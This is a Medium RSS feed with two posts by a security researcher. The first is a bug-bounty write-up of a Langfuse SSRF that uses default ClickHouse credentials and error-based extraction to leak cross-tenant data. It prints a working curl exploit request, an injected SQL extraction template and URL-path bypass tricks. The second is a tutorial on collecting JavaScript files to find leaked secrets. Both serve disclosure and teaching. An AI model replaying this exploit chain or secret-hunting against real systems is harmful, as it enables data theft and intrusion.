<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vivek Ghinaiya on Medium]]></title>
        <description><![CDATA[Stories by Vivek Ghinaiya on Medium]]></description>
        <link>https://medium.com/@vivek-ghinaiya?source=rss-1b50caf9038f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*okniIvCCfQ94yOP4kcZy9Q.jpeg</url>
            <title>Stories by Vivek Ghinaiya on Medium</title>
            <link>https://medium.com/@vivek-ghinaiya?source=rss-1b50caf9038f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 23:17:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vivek-ghinaiya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Langfuse SSRF, default ClickHouse credentials, and a novel error-based extraction technique that…]]></title>
            <link>https://vivek-ghinaiya.medium.com/a-langfuse-ssrf-default-clickhouse-credentials-and-a-novel-error-based-extraction-technique-that-7a88896e4ed2?source=rss-1b50caf9038f------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a88896e4ed2</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Vivek Ghinaiya]]></dc:creator>
            <pubDate>Wed, 19 Aug 2026 09:12:53 GMT</pubDate>
            <atom:updated>2026-08-19T09:17:21.118Z</atom:updated>
            <content:encoded><![CDATA[<h3>A Langfuse SSRF, default ClickHouse credentials, and a novel error-based extraction technique that leaked 56 million records across tenant boundaries.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cUTRW66jPXgEQN1DZQZfhg.png" /></figure><p>Hey everyone. Welcome back.</p><p>If you’re new here — I’m Vivek, a security engineer who spends most of his nights poking at web applications, looking for the kind of bugs that keep engineering teams up at night. I do bug bounties, I do pentests, and occasionally I find something that makes me sit back in my chair and just stare at my screen for a minute.</p><p>This is one of those stories.</p><p>I want to walk you through a finding that started with something completely innocent — a “Test Connection” button on a settings page — and ended with me staring at 56.5 million records of data belonging to companies I’d never heard of, sitting on a database I was never supposed to reach.</p><p>Along the way, I’ll teach you a technique I haven’t seen documented anywhere: <strong>error-based data extraction through LLM SDK type-casting errors</strong>. If you work with Langfuse, ClickHouse, or any AI platform that proxies LLM requests — this one’s for you.</p><p>Let’s get into it.</p><h3>It Started With a Settings Page</h3><p>I was testing an AI SaaS platform — I won’t name them, they’ve asked me not to, and honestly they handled the disclosure really well. The platform uses <a href="https://langfuse.com/">Langfuse</a>, an open-source LLM observability tool, to track and monitor their AI pipelines. Pretty standard setup.</p><p>During my recon, I found their Langfuse instance was publicly accessible. That alone isn’t unusual — Langfuse is meant to have a web UI. What caught my eye was that <strong>registration was open</strong>. No invite required. No email verification. Just sign up and you’re in.</p><p>So I created an account. Made an organization. Created a project. And then I landed on the settings page where you configure your LLM providers — OpenAI, Anthropic, Azure, the usual suspects.</p><p>There was a button: <strong>“Test Connection.”</strong></p><p>In security testing, “test” buttons are like unlocked doors. They exist because developers need a way to verify that a configuration works — but the implementation often trusts user input way more than it should. So I opened Burp, clicked the button, and intercepted the request.</p><p>The request was a tRPC mutation called llmApiKey.test. It accepted a few parameters:</p><ul><li>baseURL — where the server should send the test request</li><li>secretKey — the API key to use</li><li>extraHeaders — additional HTTP headers to attach</li><li>adapter — which SDK to use (openai or anthropic)</li></ul><p>You see where this is going, right?</p><p>The baseURL had no validation. No allowlist. No blocklist for internal IPs or Docker hostnames. The server takes whatever URL you give it, initializes the LLM SDK with it, and fires off an HTTP request. Classic SSRF.</p><p>I pointed it at my Interactsh server and got a callback from the target’s internal IP. Server-side request forgery confirmed.</p><p>But here’s the thing — SSRF by itself? It’s a medium-severity finding on most platforms. “You can hit internal hosts” doesn’t scare anyone if you can’t prove you read something sensitive. This was blind SSRF. I could knock on doors but I couldn’t hear what was behind them.</p><p>Or so I thought.</p><h3>Two SDKs, Two Different Stories</h3><p>Here’s where curiosity paid off.</p><p>The test function supports two adapters — openai and anthropic. I&#39;d been testing with the OpenAI adapter. When the SSRF hit an internal service and that service returned an error, the OpenAI SDK swallowed the response body. I&#39;d get back a generic JavaScript error. Nothing useful. Blind.</p><p>But then I switched to adapter: &quot;anthropic&quot;.</p><p>The Anthropic SDK does something the OpenAI SDK doesn’t — when it gets back a 4xx or 5xx response, it includes the <strong>full HTTP response body</strong> in the error message. It’s a design choice for developer experience. You’re debugging why your API key doesn’t work, so the SDK shows you exactly what the server said.</p><p>For an attacker? That turns blind SSRF into <strong>fully readable SSRF</strong>.</p><p>I pointed the SSRF at ClickHouse (the database that Langfuse uses for analytics storage) with the wrong password:</p><pre>// What came back through the Anthropic adapter:<br>{<br>  &quot;success&quot;: false,<br>  &quot;error&quot;: &quot;401 Code: 194. DB::Exception: default: Authentication failed:<br>            password is incorrect, or there is no user with such name.&quot;<br>}</pre><p>I’m reading ClickHouse error messages through an LLM SDK. Let that sink in.</p><p>That one response told me three things: ClickHouse is running on the internal network, it’s reachable from the web server, and the default user exists but needs a password. Now I needed to find that password.</p><h3>The Password Was in the README</h3><p>Langfuse is open source. Their docker-compose.yml is on GitHub. And right there, in plain text:</p><pre>CLICKHOUSE_USER=clickhouse<br>CLICKHOUSE_PASSWORD=clickhouse  # CHANGEME</pre><p>The # CHANGEME comment was optimistic. In production, the credentials were unchanged.</p><p>I sent the request with clickhouse:clickhouse and the response flipped from a 401 error to something new:</p><pre># Wrong password:<br>&quot;401 Code: 194. DB::Exception: clickhouse: Authentication failed&quot;</pre><pre># Correct password:<br>&quot;Cannot read properties of undefined (reading &#39;length&#39;)&quot;</pre><p>That JavaScript error — Cannot read properties of undefined (reading &#39;length&#39;) — doesn&#39;t look like progress. But it is. It means ClickHouse returned a <strong>200 OK</strong> with actual data. The SDK tried to parse that data as an LLM chat completion, couldn&#39;t find the expected fields, and threw a type error. The query ran successfully. I was in.</p><p>ClickHouse also supports credentials embedded in the URL itself, which made subsequent requests cleaner:</p><pre>http://clickhouse:clickhouse@clickhouse:8123/?query=...</pre><p>One small problem though. I could talk to ClickHouse. I could run queries. But I still couldn’t <em>see the results</em>.</p><h3>I Can Run Queries But I Can’t Read Them</h3><p>This was the wall I hit.</p><p>Remember: the Anthropic adapter only returns response bodies on <strong>error responses</strong> — 4xx and 5xx. When a SELECT query succeeds, ClickHouse returns 200 with the results. The SDK sees the 200 status code, tries to parse the response as a chat completion object, fails internally, and gives me that useless JavaScript error.</p><p>So here I am, sitting on a fully authenticated ClickHouse connection with what turned out to be <strong>full admin privileges</strong>, and I can’t read a single row of data. It’s like having the keys to a vault but working in the dark.</p><p>Most researchers would file the report here. SSRF + default credentials + authenticated database access = solid high-severity finding. Walk away, write it up, collect the bounty.</p><p>But I kept thinking: the adapter <em>does</em> return error bodies. What if I could make ClickHouse <strong>fail on purpose</strong>, in a way that includes the data I want in the error message?</p><p>That thought changed everything.</p><h3>The Breakthrough: Type Errors as a Data Channel</h3><p>ClickHouse has strict typing. If you try to cast a string value to an integer type like UInt32, it doesn&#39;t silently coerce — it throws an error. And critically, the error includes the actual string value it couldn&#39;t parse:</p><pre>SELECT toUInt32(&#39;hello&#39;)</pre><pre>-- ClickHouse responds:<br>Code: 6. DB::Exception: Cannot parse string &#39;hello&#39; as UInt32:<br>syntax error at begin of string.</pre><p>See that? The string &#39;hello&#39; — the actual data — is right there in the error message. Now replace &#39;hello&#39; with a subquery that pulls a real value from a real table, and the error becomes your extraction channel.</p><p>But there’s a catch. The SDK sends a POST request with a JSON body — the chat completion payload. ClickHouse receives that body and tries to parse it as input data. I needed to build a query that:</p><ol><li>Absorbs the SDK’s JSON body so ClickHouse doesn’t choke on it</li><li>Runs a SELECT to pull real data from a table</li><li>Forces a type error that includes that data in the error message</li></ol><p>After a lot of trial and error, I found the magic formula:</p><pre>INSERT INTO FUNCTION null(&#39;x UInt32&#39;)<br>  SELECT toUInt32(name) FROM system.tables<br>  WHERE database = &#39;default&#39; LIMIT 1<br>  FORMAT JSONEachRow</pre><p>Let me break down what each part does, because this is the core of the technique:</p><p>1</p><p>FORMAT JSONEachRow at the end tells ClickHouse to expect the POST body as JSON input. The SDK&#39;s chat completion payload — with all its messages, model, temperature fields — gets parsed as data rows.</p><p>2</p><p>INSERT INTO FUNCTION null(&#39;x UInt32&#39;) sends that parsed input into a black hole. The null() table engine accepts anything and discards it. The SDK&#39;s junk body vanishes into /dev/null.</p><p>3</p><p>The SELECT subquery executes <strong>before</strong> the INSERT. It fetches a real value — in this case, a table name from system.tables.</p><p>4</p><p>toUInt32(name) tries to cast that table name (a string) to an integer. It can&#39;t. ClickHouse throws a 400 error with the actual string value in the message.</p><p>5</p><p>The Anthropic adapter faithfully returns the 400 error body back to me. I read the extracted value.</p><p>The actual SSRF request:</p><pre>curl -sk -b cookies.txt \<br>  -X POST &quot;https://langfuse.target.tld/api/trpc/llmApiKey.test&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{&quot;json&quot;:{<br>    &quot;projectId&quot;: &quot;YOUR_PROJECT_ID&quot;,<br>    &quot;adapter&quot;: &quot;anthropic&quot;,<br>    &quot;provider&quot;: &quot;exfil&quot;,<br>    &quot;secretKey&quot;: &quot;test&quot;,<br>    &quot;baseURL&quot;: &quot;http://clickhouse:clickhouse@clickhouse:8123/?query=INSERT+INTO+FUNCTION+null(%27x+UInt32%27)+SELECT+toUInt32(name)+FROM+system.tables+WHERE+database=%27default%27+LIMIT+1+FORMAT+JSONEachRow&amp;input_format_skip_unknown_fields=1&amp;log_comment=&quot;,<br>    &quot;extraHeaders&quot;: {},<br>    &quot;customModels&quot;: [&quot;test&quot;]<br>  }}&#39;</pre><p>And the response:</p><p>400 Code: 6. DB::Exception: Cannot parse string<br>‘analytics_observations’ as UInt32:<br>syntax error at begin of string.</p><p>There it is. analytics_observations. A real table name from the production database, extracted through a type-casting error, routed through an LLM SDK, read through an SSRF.</p><p>I sat back in my chair. Then I added OFFSET 1 and ran it again. Another table name. OFFSET 2. Another one. OFFSET 3. I was walking through the entire database schema, one error at a time.</p><h3>The Nullable Problem (and the Fix)</h3><p>Enumerating tables and columns worked perfectly. But when I started pulling actual data from columns that stored LLM content — inputs, outputs, system prompts — I hit a new wall.</p><p>ClickHouse has a Nullable wrapper type. When a column is Nullable(String) and the value is NULL, the toUInt32() cast silently converts NULL to 0. No error. No data in the error message. My extraction channel went quiet.</p><p>The fix: assumeNotNull(). This function strips the Nullable wrapper. For real values, the type-cast error fires normally with the data. For actual NULLs, you get a different error — easy to skip and move to the next row:</p><pre>-- Without assumeNotNull: NULL → 0 silently. Nothing extracted.<br>SELECT toUInt32(input) FROM observations LIMIT 1</pre><pre>-- With assumeNotNull: real values leak through the error.<br>SELECT toUInt32(assumeNotNull(input)) FROM observations LIMIT 1<br>-- → &quot;Cannot parse string &#39;[{\&quot;role\&quot;: \&quot;system\&quot;, ...}]&#39; as UInt32&quot;</pre><p>That second response? It contained an actual LLM system prompt from a production observation. Someone’s proprietary AI instructions, leaking through a type-casting error, through an LLM SDK, through an SSRF, back to my terminal.</p><h3>The Extraction Formula</h3><p>From this point on, every piece of data followed the same pattern:</p><pre>INSERT INTO FUNCTION null(&#39;x UInt32&#39;)<br>  SELECT toUInt32(assumeNotNull(COLUMN))<br>  FROM TABLE<br>  [WHERE ...]<br>  LIMIT 1 OFFSET N<br>  FORMAT JSONEachRow</pre><p>Change COLUMN, TABLE, and OFFSET to walk through any table, any column, any row. One value per request. Slow — but dead reliable, and invisible to application-level monitoring since the queries run as the legitimate ClickHouse user.</p><h3>What Was Behind the Door</h3><p>Once the extraction technique was working, I started mapping what was actually in the database. And this is where the finding went from “bad” to “this is really bad.”</p><p>I enumerated 13 tables in the default database, extracted full schemas — column names, types, everything — and then started pulling actual data to validate the breach.</p><p>What I foundScaleLLM trace records11.4 millionIndividual LLM call observations38.5 millionBlob storage references (MinIO)56.5 millionObservations with inline content12.3 millionCross-tenant projects exposed3 (2 other organizations)Distinct user emails (PII)9,870Distinct LLM models in use129</p><p>The ClickHouse instance had <strong>zero row-level tenant isolation</strong>. All tenants’ data lived in the same tables, separated only by a project_id column. My extraction query could filter by any project — or skip the filter entirely and read across all of them.</p><p>Without going into specifics — the vendor asked me not to, and I respect that — the data included:</p><ul><li><strong>Proprietary system prompts</strong> — the exact instructions companies embedded into their AI applications</li><li><strong>Business intelligence</strong> — financial analyses, competitive bidding data, and operational metrics that flowed through LLM queries</li><li><strong>User PII</strong> — nearly 10,000 employee email addresses across multiple organizations</li><li><strong>Unreleased model names</strong> — preview versions of LLM models from major providers, visible in the observation metadata</li><li><strong>Internal API keys</strong> — Langfuse API keys stored in trace metadata</li></ul><p>I also confirmed write access by inserting a test row into the production traces table. The ClickHouse user had full admin privileges — SELECT, INSERT, ALTER, CREATE, DROP, TRUNCATE, CREATE USER across all databases. An attacker could inject fake data, drop tables, create backdoor users, or wipe everything.</p><p>Beyond ClickHouse, I mapped 7 internal services reachable through the SSRF — including MinIO (object storage with 56.5M objects), an internal worker service, and the Hetzner cloud metadata endpoint (IMDS).</p><h3>The Fix That Didn’t Fix It</h3><p>I reported the finding. The vendor’s engineering team confirmed and reproduced it immediately. They pushed a fix within days.</p><p>The fix: they removed the public REST endpoint (/api/public/llm-api-key/test). It started returning 404. Done, right?</p><p>Not quite. The tRPC mutation — llmApiKey.test — was the exact same function, just mounted on the authenticated tRPC router. Same SSRF. Same ClickHouse access. Same extraction technique. The ClickHouse password hadn&#39;t been changed either.</p><p>This is a pattern I see over and over again: <strong>fixing the route instead of the function</strong>. The vulnerability wasn’t in the URL path. It was in the fact that baseURL accepts arbitrary values and the server fetches them without validation. Removing one route while leaving another route to the same function is like locking the front door while leaving the garage open.</p><p>I reported the bypass. They’re working on a proper fix now.</p><h3>The Full Chain</h3><p>Here’s the complete attack path, from zero access to full database breach:</p><p>Register on Langfuse (open, no email verification) | v Create org + project (instant) | v llmApiKey.test SSRF (adapter: anthropic) | v ClickHouse auth (default creds from docker-compose) | v Error-based extraction (toUInt32 + null() + assumeNotNull) | v Cross-tenant data breach (56.5M records, 3 projects)</p><p>Every step uses either no authentication or credentials the attacker creates themselves. No social engineering. No brute force. No phishing. No zero-days. The entire chain exploits application logic and default configurations that shipped with the product.</p><p>The CVE is <strong>CVE-2026–41487</strong> (GHSA-2524-j966-gfgh), covering the Langfuse LLM API key exfiltration vector.</p><h3>Bonus: Path Control Tricks for SDK-Based SSRF</h3><p>One thing I glossed over earlier — each LLM SDK appends its own API path to your baseURL. OpenAI adds /v1/chat/completions, Anthropic adds /v1/messages. If you&#39;re trying to hit a specific path on an internal service, those suffixes get in the way.</p><p>Two tricks that work:</p><p><strong>Fragment trick</strong> (OpenAI adapter): Append # to your URL. Everything after the fragment identifier is stripped by the HTTP client before the request is sent:</p><pre>baseURL: &quot;http://clickhouse:8123/?query=SELECT+version()#&quot;<br>Actual:  POST http://clickhouse:8123/?query=SELECT+version()<br>// The #/v1/chat/completions is treated as a fragment and dropped</pre><p><strong>Query parameter trick</strong> (Anthropic adapter): End your URL with &amp;x= so the appended path becomes a harmless query parameter:</p><pre>baseURL: &quot;http://clickhouse:8123/?query=SELECT+1&amp;x=&quot;<br>Actual:  POST http://clickhouse:8123/?query=SELECT+1&amp;x=/v1/messages<br>// The appended path is absorbed as the value of parameter &#39;x&#39;</pre><p>These tricks are useful any time you’re exploiting SSRF through an SDK that appends its own path.</p><h3>What I Want You to Take Away</h3><h3>If you’re a developer deploying Langfuse (or any LLM platform)</h3><ul><li><strong>Change every default credential before going to production.</strong> Langfuse marks them with # CHANGEME — but nothing enforces it. If your docker-compose still has clickhouse:clickhouse, fix that today.</li><li><strong>Network-segment your data stores.</strong> ClickHouse, MinIO, and Redis should not be reachable from the web-facing container. Even with SSRF protection, defense in depth matters.</li><li><strong>Validate URLs server-side.</strong> Any function that makes HTTP requests to user-supplied URLs needs allowlist validation. Block internal IP ranges, Docker hostnames, cloud metadata endpoints (169.254.169.254), and link-local addresses.</li><li><strong>Don’t trust SDK error handling for security.</strong> LLM SDKs are designed for developer experience, not security boundaries. The Anthropic SDK includes response bodies in errors because it helps developers debug — but it also creates data exfiltration channels you might not expect.</li></ul><h3>If you’re a security researcher</h3><ul><li><strong>Always test both adapters.</strong> Same endpoint, same SSRF — but switching from openai to anthropic turned blind SSRF into readable SSRF. When a platform supports multiple LLM providers, test every single one.</li><li><strong>Error messages are data channels.</strong> If you can control input to a function that produces descriptive errors, you can extract data through those errors. This applies to SQL type casting, XML parsing, JSON schema validation — anything that echoes your input in the error.</li><li><strong>FORMAT JSONEachRow absorbs POST bodies.</strong> In ClickHouse, this format directive lets you run queries through endpoints that force a POST body on you (like an LLM SDK). It&#39;s the trick that makes the extraction technique possible.</li><li><strong>Don’t stop at blind SSRF.</strong> The difference between a medium-severity blind SSRF report and a CVSS 9.8 full-breach report was one technique. The SSRF was the door. The type-casting trick was the key to the vault. If you find an SSRF, spend the extra hours trying to make it talk.</li></ul><p>If this was useful, follow me for more technical writeups. I share real findings from real engagements — no fluff, no hype, just the work.</p><p>Happy hunting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a88896e4ed2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting JavaScript File for Bug Hunters]]></title>
            <link>https://blog.stackademic.com/hunting-javascript-file-for-bug-hunters-e8b278a1306a?source=rss-1b50caf9038f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8b278a1306a</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Vivek Ghinaiya]]></dc:creator>
            <pubDate>Tue, 19 Mar 2024 14:38:40 GMT</pubDate>
            <atom:updated>2024-03-20T12:56:21.100Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Everyone,</p><p>Hope you’re all doing well, today we’re going to talk about JavaScript in penetration testing (bug-hunting) and how to find vulnerabilities in JS files manually and automatically. To start, let’s understand JavaScript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sNi803Y1_Xb2FvKTaRn5aQ.jpeg" /></figure><h4>Some Key Aspects Of JavaScript’s Significance In Web Development:</h4><p>1. Interactivity: JavaScript is like the magic wand that makes web pages fun to use. It lets developers create things like cool image slideshows, pop-up boxes, and tooltips. You can click on stuff, and it responds without reloading the whole page.</p><p>2. Dynamic Content: Think of JavaScript as the secret sauce for real-time updates. It helps web pages show you the latest information without making you wait for the whole page to load again. This is handy for things like live social media feeds or chat, making the page feel quick and responsive.</p><p>3. Form Validation: Ever filled out a web form and gotten frustrated when you hit “submit” and it yells at you for missing something? JavaScript helps check your inputs as you type, so you get a heads-up if you make a mistake. That way, you’re less likely to submit incorrect info or forget something important.</p><p>It is now clear that JavaScript is widely used in a number of places throughout the company. Security professionals are always seeking to find loopholes in systems or particular technologies, break down the flow of applications, discover public exploits, and all those kinds of things we used to do on ourselves. So, let me just take a closer look at how JavaScript can be used in our penetration testing process in order to identify some significant opportunities for exploitation. Let’s talk about our JavaScript needs, including both manual and automated methods for gathering it, and utilizing tools to identify any potential vulnerabilities.</p><h4>What We Are Looking in JavaScript:</h4><ul><li>New Endpoints and parameters</li><li>Sensitive Information (API key, authorization or tokens, leaked credentials, AWS and oauth secrets etc.)</li><li>Sometime hidden feature which application not using at that time</li><li>Hidden or internal portal/subdomains</li></ul><h4>Manual Checking JavaScript:</h4><p>In your web browser, right-click on the web page and select “View Page Source” or “Inspect.” This will open the developer tools, and you can navigate through the HTML source code. Look for JavaScript references within the HTML file, which are often included using &lt;script&gt; tags. You can click on these references to view the JavaScript code.</p><p>On occasion, developers inadvertently include sensitive data such as passwords or API keys directly within client-side JavaScript code. Detecting this information within the JavaScript code does not necessarily demand an extensive background in JavaScript programming, nor does it necessitate many years of experience.</p><h4>Extracting JavaScript File With Burp Suite:</h4><p>Make sure you set up your burp proxy and keep it running in background. Take a deep dive into your target, thoroughly examining all its features and endpoints. Once you’re done, head over to the proxy tab and configure the filters as shown below to capture all the JavaScript files. Don’t forget to copy all the results and save them in a file called “link.txt”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/0*_7lynZljxz9-t7vE" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/0*2yeSXpgkxPjLTG57" /></figure><p>Run below code in your kali machine or terminal to download the all “.js” file in your system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/0*gvizyVmQja8fuWRu" /></figure><p>Command: wget -P jsfiles -i link.txt</p><ul><li>wget command, which can retrieve files from the web using HTTP and FTP protocols.</li><li>-P option specify a different directory to save the files.</li><li>-i option, which specifies a file that contains a list of URLs to download.</li></ul><p>After you can visit one by one file and check this all keywords manually “api key, api_key, password, secret, token, access, pwd, url, config, aws, s3” etc. Feel free to check out the GitHub repository below for additional examples of regular expressions:</p><p><a href="https://github.com/l4yton/RegHex?source=post_page-----c95a8aa7037a--------------------------------">https://github.com/l4yton/RegHex?source=post_page-----c95a8aa7037a--------------------------------</a></p><p>If you find any sensitive token or key then you can use this below repository to take your exploitation part further.</p><p><a href="https://github.com/streaak/keyhacks">https://github.com/streaak/keyhacks</a></p><h4>Extracting JavaScript File With Tools:</h4><p>Required Tools — install these tools in your kali or system, you will get all repo and installation links below:</p><ul><li>Gau: <a href="https://github.com/lc/gau">https://github.com/lc/gau</a></li><li>Waybackurls: <a href="https://github.com/tomnomnom/waybackurls">https://github.com/tomnomnom/waybackurls</a></li><li>Httpx: <a href="https://github.com/projectdiscovery/httpx">https://github.com/projectdiscovery/httpx</a></li><li>Subjs: <a href="https://github.com/lc/subjs">https://github.com/lc/subjs</a></li><li>Nuclei: <a href="https://github.com/projectdiscovery/nuclei">https://github.com/projectdiscovery/nuclei</a></li></ul><p>Save this code in bash file at your system, here “target.txt” contain your target domains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*0Zt20jvJybziuZUu" /></figure><p>Here is explanation of each command:</p><pre>cat target.txt | gau | grep &quot;.js&quot; | tee js.txt<br>cat target.txt | waybackurls | grep &quot;.js&quot; | tee -a js.txt</pre><p>This command reads the contents of the target.txt file, pipes it to the gau and waybackurls tool to extract URLs, pipes the output to grep to filter out only the URLs that contain .js, and finally pipes the output to tee to write the results to the js.txt file.</p><pre>cat target.txt | subjs | httpx -mc 200 | tee -a js.txt</pre><p>This command reads the contents of the target.txt file, pipes it to the subjs tool to extract JavaScript files, pipes the output to httpx to check the status code of each file, filters out only the files with a status code of 200, and finally pipes the output to tee to append the results to the js.txt file.</p><pre>nuclei -l js.txt -t /root/nuclei-templates/http/exposures/ -o js_bugs.txt</pre><p>This command uses the nuclei tool to scan the JavaScript files stored in the js.txt file for vulnerabilities using the templates located in the /root/nuclei-templates/http/exposures/ directory. The results of the scan are stored in a file named js_bugs.txt.</p><p>As above method we got “js.txt” which contain all JavaScript file, there is one tool in GitHub, the tool name is “Mantra”. A tool used to hunt down API key leaks in JS files and pages, you will find GitHub repository and installation steps in below link.</p><p>Mantra: <a href="https://github.com/MrEmpy/mantra">https://github.com/MrEmpy/mantra</a></p><pre>cat js.txt | Mantra<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/0*dArp1Br5PdZ6yzr4" /></figure><p>You can use Secret finder to find sensitive endpoints and keys. Secret Finder is a python script based on Link Finder, written to discover sensitive data like apikeys, accesstoken, authorizations, jwt, etc. in JavaScript files. It does so by using jsbeautifier for python in combination with a fairly large regular expression. The regular expressions consist of four small regular expressions. These are responsible for finding and search anything on js files. you will find GitHub repository and installation steps in below link</p><p>Secret Finder : <a href="https://github.com/m4ll0k/SecretFinder">https://github.com/m4ll0k/SecretFinder</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/0*Aug3vcPLPH6N-nzB" /></figure><ol><li>cat js.txt: This command reads the contents of the js.txt file which contains all js files of our target.</li><li>while read url;do python3 SecretFinder.py -i $url -o cli ; done: This command uses a while loop to read each URL from the js.txt file and pipes it to the Secret Finder tool. The -i flag specifies the input file, and the -o cli flag specifies that the output should be written to the command line. The results of each scan are displayed in the command line.</li><li>endpoints: This command writes the output of the entire command to the endpoints file.</li></ol><p>You can show the result in below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/0*LBANvNoi0yXQT6a7" /></figure><h4>JSFScan.sh</h4><p>JSFScan.sh is tool which used for Automation for JavaScript recon in bug bounty. you will get this tool by this link <a href="https://github.com/KathanP19/JSFScan.sh">https://github.com/KathanP19/JSFScan.sh</a> It will extract JS files, extract some sensitive keyword, Endpoints, Secrets, Wordlist, Variable and more from the collected JS files. For more information of this tool, Refer this blog: <a href="https://kathanp19.medium.com/beginners-guide-on-how-you-can-use-javascript-in-bugbounty-492f6eb1f9ea">https://kathanp19.medium.com/beginners-guide-on-how-you-can-use-javascript-in-bugbounty-492f6eb1f9ea</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/0*R4YcVheTaAutkCtx" /></figure><pre>bash JSFScan.sh -l target -all -r -o result.ru</pre><ul><li>-l target: This could be an option for specifying a target. The value after -l may be the target for the scan.</li><li>-all: This might be an option indicating that you want to perform a scan for all vulnerabilities.</li><li>-r: This could be another option; without more information, it’s unclear what it does.</li><li>-o result.ru: This seems to be an option specifying an output file named “result.ru” to store the scan results.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/0*-BQ5zrnMJYSAz5X7" /></figure><p>On the above screenshot, you can see our target domain jsfiles with endpoints, secrets, and more.</p><p>In this blog post we have covered some basic things that are essential while hunting on a target. However, when it comes to JavaScript files, there are many things that have not been covered in the post. Another tool that can be used to scan JavaScript files for secrets, URLs, and other revealing information is JS Miner, which is a Burp Suite extension. In addition, GetJS is a tool that can be used to extract .js files from a list of domains. Once the .js files are extracted, they can be searched for specific keywords to identify potential vulnerabilities.</p><p>This article aims to assist you in saving time during penetration testing and enhancing your comprehension of the significance of JavaScript in this field. We hope that this article will provide you with valuable insights on how to optimize your time during penetration testing and emphasize the crucial role of JavaScript in this context.</p><p>Thank you to everyone for reading!</p><p>Twitter: <a href="https://twitter.com/VivekGhinaiya">https://twitter.com/VivekGhinaiya</a></p><p>LinkedIn: <a href="https://www.linkedin.com/in/vivek-ghinaiya-b3b560202/">https://www.linkedin.com/in/vivek-ghinaiya-b3b560202/</a></p><p>Website: <a href="https://vivekghinaiya.github.io/about/">https://vivekghinaiya.github.io/about/</a></p><h3>Stackademic 🎓</h3><p>Thank you for reading until the end. Before you go:</p><ul><li>Please consider <strong>clapping</strong> and <strong>following</strong> the writer! 👏</li><li>Follow us <a href="https://twitter.com/stackademichq"><strong>X</strong></a><strong> | </strong><a href="https://www.linkedin.com/company/stackademic"><strong>LinkedIn</strong></a><strong> | </strong><a href="https://www.youtube.com/c/stackademic"><strong>YouTube</strong></a><strong> | </strong><a href="https://discord.gg/in-plain-english-709094664682340443"><strong>Discord</strong></a></li><li>Visit our other platforms: <a href="https://plainenglish.io/"><strong>In Plain English</strong></a><strong> | </strong><a href="https://cofeed.app/"><strong>CoFeed</strong></a><strong> | </strong><a href="https://venturemagazine.net/"><strong>Venture</strong></a><strong> | </strong><a href="https://blog.cubed.run/"><strong>Cubed</strong></a></li><li>More content at <a href="https://stackademic.com/"><strong>Stackademic.com</strong></a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8b278a1306a" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/hunting-javascript-file-for-bug-hunters-e8b278a1306a">Hunting JavaScript File for Bug Hunters</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR with Autorize!]]></title>
            <link>https://vivek-ghinaiya.medium.com/idor-with-autorize-929c4f6a3734?source=rss-1b50caf9038f------2</link>
            <guid isPermaLink="false">https://medium.com/p/929c4f6a3734</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[Vivek Ghinaiya]]></dc:creator>
            <pubDate>Sat, 05 Feb 2022 14:12:46 GMT</pubDate>
            <atom:updated>2022-02-05T14:12:46.664Z</atom:updated>
